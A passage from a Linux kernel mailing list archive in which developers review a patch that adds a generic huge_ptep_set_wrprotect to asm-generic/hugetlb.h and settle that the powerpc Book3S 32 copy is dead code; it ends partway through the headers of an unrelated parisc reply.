	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flSXx-0007kt-EY
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 07:22:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727636AbeHCHTP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 03:19:15 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:60145 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726829AbeHCHTP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 03:19:15 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 1865D1BF203;
        Fri,  3 Aug 2018 05:24:29 +0000 (UTC)
In-Reply-To: <6acb1389-6998-bafb-cf69-174fd522c04c@ghiti.fr>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2838550 gmane.linux.kernel.mm:201130 gmane.linux.ports.arm.kernel:667519 gmane.linux.ports.ia64:29040 gmane.linux.ports.mips.general:65870 gmane.linux.ports.parisc:28866 gmane.linux.ports.ppc64.devel:160868 gmane.linux.ports.sh.devel:57325 gmane.linux.ports.sparc:28171 gmane.linux.kernel.cross-arch:45575
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2838550>

Ok, I tried every defconfig available:

- for the nohash/32, I found that I could use mpc885_ads_defconfig and I 
activated HUGETLBFS.
I removed the definition of huge_ptep_set_wrprotect from 
nohash/32/pgtable.h, add an #error in
include/asm-generic/hugetlb.h right before the generic definition of 
huge_ptep_set_wrprotect,
and fell onto it at compile-time:
=> I'm pretty confident then that removing the definition of 
huge_ptep_set_wrprotect does not
break anythingin this case.

- regardind book3s/32, I did not find any defconfig with 
CONFIG_PPC_BOOK3S_32, CONFIG_PPC32
allowing to enable huge page support (ie CONFIG_SYS_SUPPORTS_HUGETLBFS)
=> Do you have a defconfig that would allow me to try the same as above ?

Thanks,

Alex


On 07/31/2018 11:17 AM, Alexandre Ghiti wrote:
>
> On 07/31/2018 12:06 PM, Michael Ellerman wrote:
>> Alexandre Ghiti <alex@ghiti.fr> writes:
>>
>>> arm, ia64, mips, sh, x86 architectures use the same version
>>> of huge_ptep_set_wrprotect, so move this generic implementation into
>>> asm-generic/hugetlb.h.
>>> Note: powerpc uses twice for book3s/32 and nohash/32 the same 
>>> version as
>>> the above architectures, but the modification was not straightforward
>>> and hence has not been done.
>> Do you remember what the problem was there?
>>
>> It looks like you should just be able to drop them like the others. I
>> assume there's some header spaghetti that causes problems though?
>
> Yes, the header spaghetti frightened me a bit. Maybe I should have 
> tried harder: I can try to remove them and find the right defconfigs 
> to compile both to begin with. And to guarantee the functionality is 
> preserved, can I use the testsuite of libhugetlbfs with qemu ?
>
> Alex
>
>>
>> cheers
>>
>>
>>> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
>>> Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
>>> ---
>>>   arch/arm/include/asm/hugetlb-3level.h        | 6 ------
>>>   arch/arm64/include/asm/hugetlb.h             | 1 +
>>>   arch/ia64/include/asm/hugetlb.h              | 6 ------
>>>   arch/mips/include/asm/hugetlb.h              | 6 ------
>>>   arch/parisc/include/asm/hugetlb.h            | 1 +
>>>   arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
>>>   arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
>>>   arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
>>>   arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
>>>   arch/sh/include/asm/hugetlb.h                | 6 ------
>>>   arch/sparc/include/asm/hugetlb.h             | 1 +
>>>   arch/x86/include/asm/hugetlb.h               | 6 ------
>>>   include/asm-generic/hugetlb.h                | 8 ++++++++
>>>   13 files changed, 17 insertions(+), 30 deletions(-)
>>>
>>> diff --git a/arch/arm/include/asm/hugetlb-3level.h 
>>> b/arch/arm/include/asm/hugetlb-3level.h
>>> index b897541520ef..8247cd6a2ac6 100644
>>> --- a/arch/arm/include/asm/hugetlb-3level.h
>>> +++ b/arch/arm/include/asm/hugetlb-3level.h
>>> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>>>       return retval;
>>>   }
>>>   -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> -                       unsigned long addr, pte_t *ptep)
>>> -{
>>> -    ptep_set_wrprotect(mm, addr, ptep);
>>> -}
>>> -
>>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct 
>>> *vma,
>>>                            unsigned long addr, pte_t *ptep,
>>>                            pte_t pte, int dirty)
>>> diff --git a/arch/arm64/include/asm/hugetlb.h 
>>> b/arch/arm64/include/asm/hugetlb.h
>>> index 3e7f6e69b28d..f4f69ae5466e 100644
>>> --- a/arch/arm64/include/asm/hugetlb.h
>>> +++ b/arch/arm64/include/asm/hugetlb.h
>>> @@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct 
>>> vm_area_struct *vma,
>>>   #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>>>   extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>>>                        unsigned long addr, pte_t *ptep);
>>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                       unsigned long addr, pte_t *ptep);
>>>   #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>>> diff --git a/arch/ia64/include/asm/hugetlb.h 
>>> b/arch/ia64/include/asm/hugetlb.h
>>> index cbe296271030..49d1f7949f3a 100644
>>> --- a/arch/ia64/include/asm/hugetlb.h
>>> +++ b/arch/ia64/include/asm/hugetlb.h
>>> @@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct 
>>> vm_area_struct *vma,
>>>   {
>>>   }
>>>   -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> -                       unsigned long addr, pte_t *ptep)
>>> -{
>>> -    ptep_set_wrprotect(mm, addr, ptep);
>>> -}
>>> -
>>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct 
>>> *vma,
>>>                            unsigned long addr, pte_t *ptep,
>>>                            pte_t pte, int dirty)
>>> diff --git a/arch/mips/include/asm/hugetlb.h 
>>> b/arch/mips/include/asm/hugetlb.h
>>> index 6ff2531cfb1d..3dcf5debf8c4 100644
>>> --- a/arch/mips/include/asm/hugetlb.h
>>> +++ b/arch/mips/include/asm/hugetlb.h
>>> @@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
>>>       return !val || (val == (unsigned long)invalid_pte_table);
>>>   }
>>>   -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> -                       unsigned long addr, pte_t *ptep)
>>> -{
>>> -    ptep_set_wrprotect(mm, addr, ptep);
>>> -}
>>> -
>>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct 
>>> *vma,
>>>                            unsigned long addr,
>>>                            pte_t *ptep, pte_t pte,
>>> diff --git a/arch/parisc/include/asm/hugetlb.h 
>>> b/arch/parisc/include/asm/hugetlb.h
>>> index fb7e0fd858a3..9c3950ca2974 100644
>>> --- a/arch/parisc/include/asm/hugetlb.h
>>> +++ b/arch/parisc/include/asm/hugetlb.h
>>> @@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct 
>>> vm_area_struct *vma,
>>>   {
>>>   }
>>>   +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep);
>>>   diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h 
>>> b/arch/powerpc/include/asm/book3s/32/pgtable.h
>>> index 02f5acd7ccc4..d2cd1d0226e9 100644
>>> --- a/arch/powerpc/include/asm/book3s/32/pgtable.h
>>> +++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
>>> @@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct 
>>> mm_struct *mm, unsigned long addr,
>>>   {
>>>       pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>>>   }
>>> +
>>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep)
>>>   {
>>> diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h 
>>> b/arch/powerpc/include/asm/book3s/64/pgtable.h
>>> index 42aafba7a308..7d957f7c47cd 100644
>>> --- a/arch/powerpc/include/asm/book3s/64/pgtable.h
>>> +++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
>>> @@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct 
>>> mm_struct *mm, unsigned long addr,
>>>           pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
>>>   }
>>>   +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep)
>>>   {
>>> diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h 
>>> b/arch/powerpc/include/asm/nohash/32/pgtable.h
>>> index 7c46a98cc7f4..f39e200d9591 100644
>>> --- a/arch/powerpc/include/asm/nohash/32/pgtable.h
>>> +++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
>>> @@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct 
>>> mm_struct *mm, unsigned long addr,
>>>   {
>>>       pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>>>   }
>>> +
>>> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep)
>>>   {
>>> diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h 
>>> b/arch/powerpc/include/asm/nohash/64/pgtable.h
>>> index dd0c7236208f..69fbf7e9b4db 100644
>>> --- a/arch/powerpc/include/asm/nohash/64/pgtable.h
>>> +++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
>>> @@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct 
>>> mm_struct *mm, unsigned long addr,
>>>       pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
>>>   }
>>>   +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep)
>>>   {
>>> diff --git a/arch/sh/include/asm/hugetlb.h 
>>> b/arch/sh/include/asm/hugetlb.h
>>> index f1bbd255ee43..8df4004977b9 100644
>>> --- a/arch/sh/include/asm/hugetlb.h
>>> +++ b/arch/sh/include/asm/hugetlb.h
>>> @@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct 
>>> vm_area_struct *vma,
>>>   {
>>>   }
>>>   -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> -                       unsigned long addr, pte_t *ptep)
>>> -{
>>> -    ptep_set_wrprotect(mm, addr, ptep);
>>> -}
>>> -
>>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct 
>>> *vma,
>>>                            unsigned long addr, pte_t *ptep,
>>>                            pte_t pte, int dirty)
>>> diff --git a/arch/sparc/include/asm/hugetlb.h 
>>> b/arch/sparc/include/asm/hugetlb.h
>>> index 2101ea217f33..c41754a113f3 100644
>>> --- a/arch/sparc/include/asm/hugetlb.h
>>> +++ b/arch/sparc/include/asm/hugetlb.h
>>> @@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct 
>>> vm_area_struct *vma,
>>>   {
>>>   }
>>>   +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>>   static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>>                          unsigned long addr, pte_t *ptep)
>>>   {
>>> diff --git a/arch/x86/include/asm/hugetlb.h 
>>> b/arch/x86/include/asm/hugetlb.h
>>> index 59c056adb3c9..a3f781f7a264 100644
>>> --- a/arch/x86/include/asm/hugetlb.h
>>> +++ b/arch/x86/include/asm/hugetlb.h
>>> @@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct 
>>> mm_struct *mm,
>>>       return 0;
>>>   }
>>>   -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> -                       unsigned long addr, pte_t *ptep)
>>> -{
>>> -    ptep_set_wrprotect(mm, addr, ptep);
>>> -}
>>> -
>>>   static inline int huge_ptep_set_access_flags(struct vm_area_struct 
>>> *vma,
>>>                            unsigned long addr, pte_t *ptep,
>>>                            pte_t pte, int dirty)
>>> diff --git a/include/asm-generic/hugetlb.h 
>>> b/include/asm-generic/hugetlb.h
>>> index 6c0c8b0c71e0..9b9039845278 100644
>>> --- a/include/asm-generic/hugetlb.h
>>> +++ b/include/asm-generic/hugetlb.h
>>> @@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct 
>>> file *file,
>>>   }
>>>   #endif
>>>   +#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>>> +static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>>> +        unsigned long addr, pte_t *ptep)
>>> +{
>>> +    ptep_set_wrprotect(mm, addr, ptep);
>>> +}
>>> +#endif
>>> +
>>>   #endif /* _ASM_GENERIC_HUGETLB_H */
>>> -- 
>>> 2.16.2
>



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Fri, 03 Aug 2018 18:51:03 +1000
Lines: 50
Approved: news@gmane.org
Message-ID: <87muu3hlzc.fsf@concordia.ellerman.id.au>
References: <20180731060155.16915-1-alex@ghiti.fr> <20180731060155.16915-10-alex@ghiti.fr> <87h8kfhg7o.fsf@concordia.ellerman.id.au> <6acb1389-6998-bafb-cf69-174fd522c04c@ghiti.fr> <90bf556f-144d-24b8-d2f6-70fee4a30559@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1533286153 27848 195.159.176.226 (3 Aug 2018 08:49:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 08:49:13 +0000 (UTC)
To: Alex Ghiti <alex@ghiti.fr>, linux-mm@kvack.org,
        mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        "aneesh.kumar\@linux.ibm.com" <aneesh.kumar@linux.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 10:49:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flVlh-00074L-Iy
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 10:49:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732212AbeHCKqc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 06:46:32 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:53181 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1728290AbeHCKqc (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 06:46:32 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41hgkK0XF2z9s0R;
        Fri,  3 Aug 2018 18:51:04 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <90bf556f-144d-24b8-d2f6-70fee4a30559@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2838740 gmane.linux.kernel.mm:201146 gmane.linux.ports.arm.kernel:667553 gmane.linux.ports.ia64:29041 gmane.linux.ports.mips.general:65876 gmane.linux.ports.parisc:28867 gmane.linux.ports.ppc64.devel:160878 gmane.linux.ports.sh.devel:57326 gmane.linux.ports.sparc:28173 gmane.linux.kernel.cross-arch:45576
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2838740>

Hi Alex,

Sorry missed your previous mail.

Alex Ghiti <alex@ghiti.fr> writes:
> Ok, I tried every defconfig available:
>
> - for the nohash/32, I found that I could use mpc885_ads_defconfig and I 
> activated HUGETLBFS.
> I removed the definition of huge_ptep_set_wrprotect from 
> nohash/32/pgtable.h, add an #error in
> include/asm-generic/hugetlb.h right before the generic definition of 
> huge_ptep_set_wrprotect,
> and fell onto it at compile-time:
> => I'm pretty confident then that removing the definition of 
> huge_ptep_set_wrprotect does not
> break anythingin this case.

Thanks, that sounds good.

> - regardind book3s/32, I did not find any defconfig with 
> CONFIG_PPC_BOOK3S_32, CONFIG_PPC32
> allowing to enable huge page support (ie CONFIG_SYS_SUPPORTS_HUGETLBFS)
> => Do you have a defconfig that would allow me to try the same as above ?

I think you're right, it's dead code AFAICS.

We have:

config PPC_BOOK3S_64
        ...
	select SYS_SUPPORTS_HUGETLBFS

config PPC_FSL_BOOK3E
        ...
	select SYS_SUPPORTS_HUGETLBFS if PHYS_64BIT || PPC64

config PPC_8xx
	...
	select SYS_SUPPORTS_HUGETLBFS


So we can't ever enable HUGETLBFS for Book3S 32.

Presumably the code got copied when we split the headers apart.

So I think you can just ignore that one, and we'll delete it.

cheers


From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 09/11] hugetlb: Introduce generic version of
 huge_ptep_set_wrprotect
Date: Fri, 3 Aug 2018 11:47:10 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <ef7fbd80-84a9-0b39-f948-413dea6f6469@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
 <20180731060155.16915-10-alex@ghiti.fr>
 <87h8kfhg7o.fsf@concordia.ellerman.id.au>
 <6acb1389-6998-bafb-cf69-174fd522c04c@ghiti.fr>
 <90bf556f-144d-24b8-d2f6-70fee4a30559@ghiti.fr>
 <87muu3hlzc.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533289574 386 195.159.176.226 (3 Aug 2018 09:46:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 09:46:14 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: Michael Ellerman <mpe@ellerman.id.au>, linux-mm@kvack.org,
        mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        "aneesh.kumar@linux.ibm.com" <aneesh.kumar@linux.ibm.c
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 11:46:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flWet-0008OA-8O
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 11:46:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732494AbeHCLnr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 07:43:47 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:39543 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1732090AbeHCLnq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 07:43:46 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 024F3240002;
        Fri,  3 Aug 2018 09:47:49 +0000 (UTC)
In-Reply-To: <87muu3hlzc.fsf@concordia.ellerman.id.au>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2838782 gmane.linux.kernel.mm:201157 gmane.linux.ports.arm.kernel:667566 gmane.linux.ports.ia64:29042 gmane.linux.ports.mips.general:65877 gmane.linux.ports.parisc:28868 gmane.linux.ports.ppc64.devel:160879 gmane.linux.ports.sh.devel:57327 gmane.linux.ports.sparc:28174 gmane.linux.kernel.cross-arch:45578
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2838782>

Hi Michael,

Thanks, I will then remove those two specific implementations and we'll 
use the generic ones.

I send a v6 asap.

Thanks again,

Alex


On 08/03/2018 10:51 AM, Michael Ellerman wrote:
> Hi Alex,
>
> Sorry missed your previous mail.
>
> Alex Ghiti <alex@ghiti.fr> writes:
>> Ok, I tried every defconfig available:
>>
>> - for the nohash/32, I found that I could use mpc885_ads_defconfig and I
>> activated HUGETLBFS.
>> I removed the definition of huge_ptep_set_wrprotect from
>> nohash/32/pgtable.h, add an #error in
>> include/asm-generic/hugetlb.h right before the generic definition of
>> huge_ptep_set_wrprotect,
>> and fell onto it at compile-time:
>> => I'm pretty confident then that removing the definition of
>> huge_ptep_set_wrprotect does not
>> break anythingin this case.
> Thanks, that sounds good.
>
>> - regardind book3s/32, I did not find any defconfig with
>> CONFIG_PPC_BOOK3S_32, CONFIG_PPC32
>> allowing to enable huge page support (ie CONFIG_SYS_SUPPORTS_HUGETLBFS)
>> => Do you have a defconfig that would allow me to try the same as above ?
> I think you're right, it's dead code AFAICS.
>
> We have:
>
> config PPC_BOOK3S_64
>          ...
> 	select SYS_SUPPORTS_HUGETLBFS
>
> config PPC_FSL_BOOK3E
>          ...
> 	select SYS_SUPPORTS_HUGETLBFS if PHYS_64BIT || PPC64
>
> config PPC_8xx
> 	...
> 	select SYS_SUPPORTS_HUGETLBFS
>
>
> So we can't ever enable HUGETLBFS for Book3S 32.
>
> Presumably the code got copied when we split the headers apart.
>
> So I think you can just ignore that one, and we'll delete it.
>
> cheers



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Fri, 3 Aug 2018 13:57:05 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
 <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
 <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533318907 803 195.159.176.226 (3 Aug 2018 17:55:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 17:55:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 19:55:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fleHy-0008QO-3g
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 19:54:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729681AbeHCTy0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 15:54:26 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:43918 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1728079AbeHCTy0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 15:54:26 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180803175705.YMQI32387.torfep02.bell.net@torspm02.bell.net>;
          Fri, 3 Aug 2018 13:57:05 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by torspm02.bell.net
          with ESMTP
          id <20180803175705.QJXG31064.torspm02.bell.net@[192.168.2.49]>;
          Fri, 3 Aug 2018 13:57:05 -0400
